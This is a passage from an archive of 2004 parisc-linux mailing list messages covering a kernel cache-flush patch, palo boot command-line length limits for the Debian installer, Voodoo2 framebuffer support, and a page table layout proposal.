List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 15:55:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21383

On Mon, 2004-04-12 at 10:48, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/12 09:48:00
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c 
> 
> Log message:
> According to recent discussion on the parisc list, it's far more
> expensive to walk the i_mmap_shared list to find our current mm than
> it is simply to change the space registers to flush the first mm we
> find.  This change updates __flush_dcache_page() accordingly.

Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.8
diff -u -r1.8 cache.c
--- a/arch/parisc/kernel/cache.c	7 Apr 2004 00:49:01 -0000	1.8
+++ b/arch/parisc/kernel/cache.c	12 Apr 2004 15:44:55 -0000
@@ -229,9 +229,7 @@
 
 void __flush_dcache_page(struct page *page)
 {
-	struct mm_struct *mm = current->active_mm;
 	struct list_head *l;
-	struct vm_area_struct *anyvma = NULL;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -265,31 +263,10 @@
 		if (!translation_exists(mpnt, addr))
 			continue;
 
-		anyvma = mpnt;
-
-		/*
-		 * We try first to find a page in our current user process
-		 */
-		if (mpnt->vm_mm != mm)
-			continue;
-
-
 		__flush_cache_page(mpnt, addr);
 
-		/* All user shared mappings should be equivalently mapped,
-		 * so once we've flushed one we should be ok
-		 */
-		goto flush_unshared;
+		break;
 	}
-
-	/* OK, shared page but not in our current process' address space */
-	if (anyvma) {
-		unsigned long addr = anyvma->vm_start
-			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
-		__flush_cache_page(anyvma, addr);
-	}

From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done,
	hppa will not havean installer for sarge
Date: Mon, 12 Apr 2004 19:18:15 +0200 (CEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <52525.127.0.0.1.1081790295.squirrel__14749.3227305405$1416623363$gmane$org@www.puszczka.com>
References: <20040411165459.GB11699@kitenet.net><20040411171831.GA15032@mcmartin.ca><20040411174629.GA12562@kitenet.net><20040412111257.GS20209@linuxcare.com><1081779569.1804.11.camel@mulgrave>
	<20040412150556.GT20209@linuxcare.com>
	<1081782948.2234.26.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623363 8180 80.91.229.3 (22 Nov 2014 02:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	debian-hppa@lists.debian.org, Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@parisc-linux.org
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: ajwalker@broadpark.no  Mon Apr 12 11:07:56 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A2A948A0
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 11:07:56 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (87.80-203-39.nextgentel.com
	[80.203.39.87]) by mail.broadpark.no (Postfix) with ESMTP
	id 789463115; Mon, 12 Apr 2004 19:07:58 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 0942B7E9A; Mon, 12 Apr 2004 19:18:16 +0200 (CEST)
Original-Received: from 127.0.0.1 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 12 Apr 2004 19:18:15 +0200 (CEST)
In-Reply-To: <1081782948.2234.26.camel@mulgrave>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 17:07:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21384

> On Mon, 2004-04-12 at 10:05, Richard Hirst wrote:
>> Unbootable, or unbootable on 64 bit h/w?
>
> It seems to be unbootable entirely, but for 32 bit kernels that's random
> (sometimes it will, sometimes it won't).
>
>> > Unfortunately, palo is rather poor about checking this limit when
>> > installing the image or modifying the command line...
>>
>> and last time I tried building palo on a sid system to investigate
>> these hangs on boot, the result didn't work at all :(
>
> I think just reducing the command line would be the best option.  Why's
> it so long?
>
> James

Well, palo adds a whole bunch of stuff to the command line automatically.
If, for example, your /boot directory is on the root partition and you're
testing a kernel called vmlinux-2.6.5-rc1-pa5, then you get at least:

kernel=0/boot/vmlinux-2.6.5-rc1-pa5
root=/dev/sda1
console=tty0
sti=8/24
palo_kernel=0/boot/vmlinux-2.6.5-rc1-pa5

In fact I think there is more (the B132L is offline right now and
the C180 is boostrapping Gentoo so I can't check). Then you only
need to add another parameter, like the very reasonable:

stifb=bpp:32

and you're screwed. Been there, done that!

-Andy




From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done,
	hppa will not have an installer for sarge
Date: Mon, 12 Apr 2004 18:15:29 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20040412171529.GU20209__13291.7724470191$1416623363$gmane$org@linuxcare.com>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net>
	<20040412111257.GS20209@linuxcare.com>
	<1081779569.1804.11.camel@mulgrave>
	<20040412150556.GT20209@linuxcare.com>
	<1081782948.2234.26.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623363 8181 80.91.229.3 (22 Nov 2014 02:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:23 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, debian-boot@lists.debian.org,
	parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: richard@sleepie.demon.co.uk  Mon Apr 12 11:16:40 2004
Return-Path: <richard@sleepie.demon.co.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sleepie.demon.co.uk (cpc1-hem11-4-0-cust109.lutn.cable.ntl.com
	[80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C0614925
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 11:16:40 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 500)
	id 8B00B127F48; Mon, 12 Apr 2004 18:15:29 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1081782948.2234.26.camel@mulgrave>
User-Agent: Mutt/1.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 17:16:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21385

On Mon, Apr 12, 2004 at 10:15:46AM -0500, James Bottomley wrote:
> On Mon, 2004-04-12 at 10:05, Richard Hirst wrote:
> > Unbootable, or unbootable on 64 bit h/w?
> 
> It seems to be unbootable entirely, but for 32 bit kernels that's random
> (sometimes it will, sometimes it won't).
> 
> > > Unfortunately, palo is rather poor about checking this limit when
> > > installing the image or modifying the command line...
> > 
> > and last time I tried building palo on a sid system to investigate
> > these hangs on boot, the result didn't work at all :(
> 
> I think just reducing the command line would be the best option.  Why's
> it so long?

This is the cmdline when booting from the aforementioned ISO:

Command line for kernel: 'ramdisk_size=8192 root=/dev/ram      devfs=mount,dall 
init=/linuxrc DEBCONF_PRIORITY=high console=tty0 sti=8/24 sti_font=VGA8x16 TERM=
linux palo_kernel=0/vmlinux'

Looks like 162 chars to me.

You can deduce how much of that comes from the d-i build process and how
much is manufactured by palo on boot from the start of the ISO:

0000000: 8000 5041 4c4f 0003 00c8 e000 003d fddd  ..PALO.......=..
0000010: 0053 5000 001b e9de 302f 766d 6c69 6e75  .SP.....0/vmlinu
0000020: 7820 7261 6d64 6973 6b5f 7369 7a65 3d38  x ramdisk_size=8
0000030: 3139 3220 726f 6f74 3d2f 6465 762f 7261  192 root=/dev/ra
0000040: 6d20 2020 2020 2069 6e69 7472 643d 302f  m      initrd=0/
0000050: 7261 6d64 6973 6b20 6465 7666 733d 6d6f  ramdisk devfs=mo
0000060: 756e 742c 6461 6c6c 2069 6e69 743d 2f6c  unt,dall init=/l
0000070: 696e 7578 7263 2044 4542 434f 4e46 5f50  inuxrc DEBCONF_P
0000080: 5249 4f52 4954 593d 6869 6768 0000 0000  RIORITY=high....

I don't know what default ramdisk size we build the kernel for, but
it needs to be over 6MB (initrd is 6449152 bytes this time).

Note palo has added at least
"console=tty0 sti=8/24 sti_font=VGA8x16 TERM=linux palo_kernel=0/vmlinux"

which looks like 71 of our 127 chars - hence my comment about
whether or not the 127 char limit is supposed to include the
bits added by palo.

If we just take the part that is passed to palo when the ISO is
mastered, I guess that is

"ramdisk_size=8192 root=/dev/ram      initrd=0/ramdisk devfs=mount,dall init=/linuxrc DEBCONF_PRIORITY=high"

which is well under 127.

Richard



From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thiemo Seufer <ica2_ts@csv.ica.uni-stuttgart.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: if something is not done,
	hppa will not have an installer for sarge
Followup-To: gmane.linux.debian.devel.boot
Date: Mon, 12 Apr 2004 20:13:15 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20040412181315.GA27939__31280.1584638239$1416623364$gmane$org@rembrandt.csv.ica.uni-stuttgart.de>
References: <20040411165459.GB11699@kitenet.net>
	<20040411171831.GA15032@mcmartin.ca>
	<20040411174629.GA12562@kitenet.net>
	<20040412111257.GS20209@linuxcare.com>
	<1081779569.1804.11.camel@mulgrave>
	<20040412150556.GT20209@linuxcare.com>
	<1081782948.2234.26.camel@mulgrave>
	<20040412171529.GU20209@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623364 8183 80.91.229.3 (22 Nov 2014 02:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:24 +0000 (UTC)
Cc: debian-boot@lists.debian.org, parisc-linux@parisc-linux.org,
	debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: ica2_ts@csv.ica.uni-stuttgart.de  Mon Apr 12 12:13:20 2004
Return-Path: <ica2_ts@csv.ica.uni-stuttgart.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from iris1.csv.ica.uni-stuttgart.de (iris1.csv.ica.uni-stuttgart.de
	[129.69.118.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 004CF49B8
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Apr 2004 12:13:20 -0600 (MDT)
Original-Received: from rembrandt.csv.ica.uni-stuttgart.de ([129.69.118.42] ident=mail)
	by iris1.csv.ica.uni-stuttgart.de with esmtp
	id 1BD5vn-0005NU-00; Mon, 12 Apr 2004 20:13:15 +0200
Original-Received: from ica2_ts by rembrandt.csv.ica.uni-stuttgart.de with local (Exim
	3.35 #1 (Debian))
	id 1BD5vn-0008WS-00; Mon, 12 Apr 2004 20:13:15 +0200
Mail-Followup-To: debian-boot@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20040412171529.GU20209@linuxcare.com>
User-Agent: Mutt/1.5.5.1i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 18:13:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21386

Richard Hirst wrote:
[snip]
> > I think just reducing the command line would be the best option.  Why's
> > it so long?
> 
> This is the cmdline when booting from the aforementioned ISO:
> 
> Command line for kernel: 'ramdisk_size=8192 root=/dev/ram      devfs=mount,dall 
> init=/linuxrc DEBCONF_PRIORITY=high console=tty0 sti=8/24 sti_font=VGA8x16 TERM=
> linux palo_kernel=0/vmlinux'

> Note palo has added at least
> "console=tty0 sti=8/24 sti_font=VGA8x16 TERM=linux palo_kernel=0/vmlinux"
> 
> which looks like 71 of our 127 chars - hence my comment about
> whether or not the 127 char limit is supposed to include the
> bits added by palo.
> 
> If we just take the part that is passed to palo when the ISO is
> mastered, I guess that is
> 
> "ramdisk_size=8192 root=/dev/ram      initrd=0/ramdisk devfs=mount,dall init=/linuxrc DEBCONF_PRIORITY=high"

I doubt all of these are needed. At least root= and devfs= aren't
in use any more on other d-i arches, same for linuxrc.

The TERM=linux mentioned above looks a bit weird to me, shouldn't
it be default anyway?


Thiemo


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: Mon, 12 Apr 2004 18:15:38 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1081790136.2279.22.camel@localhost.localdomain>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623364 8185 80.91.229.3 (22 Nov 2014 02:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Apr 12 14:57:17 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (the-village.bc.nu [81.2.110.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B35C4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 14:57:16 -0600 (MDT)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.11/8.12.11) with ESMTP id i3CHFfdW002384;
	Mon, 12 Apr 2004 18:15:42 +0100
Original-Received: (from alan@localhost)
	by localhost.localdomain (8.12.11/8.12.11/Submit) id i3CHFe0A002383;
	Mon, 12 Apr 2004 18:15:40 +0100
X-Authentication-Warning: localhost.localdomain: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-1) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 20:57:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21387

On Llu, 2004-04-12 at 00:12, M. Grabert wrote:
>   I suppose this driver also doesn't require the Voodoo2 card to be initialized,
>   and I think the advanage over using sstfb would be that it supports DGA
>   and some 2D acceleration.

Mostly the 2D acceleration is useful

>   Has anybody tested it (I couldn't even compile it)?

You need to drop it into a full XFree 4.3/X.org 6.7 tree to build
which makes it umm fun. When you get to that point I can give you
instructions and we can debug it 8)



From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo 2
Date: Mon, 12 Apr 2004 23:09:59 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <200404122309.59140.deller@gmx.de>
References: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623364 8187 80.91.229.3 (22 Nov 2014 02:29:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:24 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Apr 12 15:10:09 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 433F54875
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 15:10:09 -0600 (MDT)
Original-Received: (qmail 16272 invoked by uid 65534); 12 Apr 2004 21:10:07 -0000
Original-Received: from pD90407D7.dip.t-dialin.net (EHLO p100) (217.4.7.215)
	by mail.gmx.net (mp012) with SMTP; 12 Apr 2004 23:10:07 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 21:10:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21388

On Monday 12 April 2004 01:12, M. Grabert wrote:
> I'm about to purchase a Voodoo2 PCI graphics card since I saw some
> reports on the p-l list that it is working on Linux/PA-RISC.
> 
> I want to ask a couple of questions before I'm going to buy the graphics card:
> 
> - Helge prepared a patch to make the Voodoo working, and was incorporated
>   into the 2.4.19-pa18 kernel. It seems that it's still in 2.4.25-pa1.
>   But is the patch integrated into the mainstream 2.4?
>   I just took a brief look, and it appears so, is this correct?

No idea yet. I will check.

> - What about 2.6? I don't think that it's been forwarded to 2.6 yet?

It's in 2.6. I just tested my Vodoo2 in my c3k and it works.
Linux version 2.6.5-pa6 (root@p100) (gcc version 3.0.2 20010829 (prerelease)) #29 Mon Apr 12 22:46:03 CEST 2004
The 32-bit Kernel has started...
..
sstfb: Voodoo2 (revision 2) with ICS ICS5342 dac
sstfb: framebuffer at 0xfb400000, mapped to 0xfb400000, size 2MB
fb0: Voodoo2 frame buffer device at 0xfb400000
..

I can run the driver, graphics & Tux penguin comes up.
Running "fbset -a 1024x768-75" even gives me a nice big screen (although
I still don't like this "stty cols 64 rows 48" stuff yet...)

> - there is also the XFree86 Voodoo 1/2 driver from Alan Cox
> (http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022382.html)
> 
>   I suppose this driver also doesn't require the Voodoo2 card to be initialized,
>   and I think the advanage over using sstfb would be that it supports DGA
>   and some 2D acceleration.

At least it should (if it works :-))

>   Has anybody tested it (I couldn't even compile it)?

Neither me (I was lacking the XFree86 sources).

Helge


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Mon, 12 Apr 2004 17:31:59 -0600 (MDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200404122331.i3CNVxI03436@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623365 8189 80.91.229.3 (22 Nov 2014 02:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jsm@udlkern.fc.hp.com  Mon Apr 12 17:32:00 2004
Return-Path: <jsm@udlkern.fc.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 851504877
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 17:32:00 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 0E2C51C028FB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 19:32:00 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.11.1/8.9.3 SMKit7.01) id i3CNVxI03436
	for parisc-linux@lists.parisc-linux.org;
	Mon, 12 Apr 2004 17:31:59 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 23:32:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21389

> In contrast a hashed page table layout would be extremely dense, and fit
> better in the cache. If you were to have a collision the likelyhood
> that what you want is in the cache can actually be higher.
>
> ...
>
> I've been doing some literature searches on the issue, mainly IEEE and
> ACM over the last 10-20 years. Most of the research was done in the mid
> 90's and interestingly enough a lot of it has to do with PA's.
>
> Read the paper at the above link and tell me what you think of the
> 16-byte PTE presented, and how the allocations happen on a single entry
> by entry basis. Another author suggests that the HAT and the PDIR could
> be merged (you'll have to read the paper to find out what I mean). I'm
> not sure what to do about the aliasing restrictions...

Let's not forget that the machine independent VM code assumes a 2 or 3
level page table, walks those page tables, allocates page tables, etc.
So, let's forget about theory for a minute, and start talking
realistically.  Have you considered how you would abstract an inverted
page table design so that it would fit within the machine independent VM
design for page table support?  I haven't given it more than about 5
minutes of thought, but I don't see a way of doing it (Note that I am
not for this idea at all).

If you can't do it (i.e. hide it completely within the parisc arch code) then
you need to be talking to Linus and convince him first, unless you are
advocating maintaining a large patch against machine independent code.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:31:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: 12 Apr 2004 18:44:13 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1081813454.2234.51.camel@mulgrave>
References: <200404122331.i3CNVxI03436@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623365 8193 80.91.229.3 (22 Nov 2014 02:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:25 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: James.Bottomley@SteelEye.com  Mon Apr 12 17:53:45 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09B1E4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 17:53:45 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3CNiGa18548; Mon, 12 Apr 2004 19:44:16 -0400
In-Reply-To: <200404122331.i3CNVxI03436@udlkern.fc.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 23:53:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21390

On Mon, 2004-04-12 at 18:31, John Marvin wrote:
> Let's not forget that the machine independent VM code assumes a 2 or 3
> level page table, walks those page tables, allocates page tables, etc.
> So, let's forget about theory for a minute, and start talking
> realistically.  Have you considered how you would abstract an inverted
> page table design so that it would fit within the machine independent VM
> design for page table support?  I haven't given it more than about 5
> minutes of thought, but I don't see a way of doing it (Note that I am
> not for this idea at all).

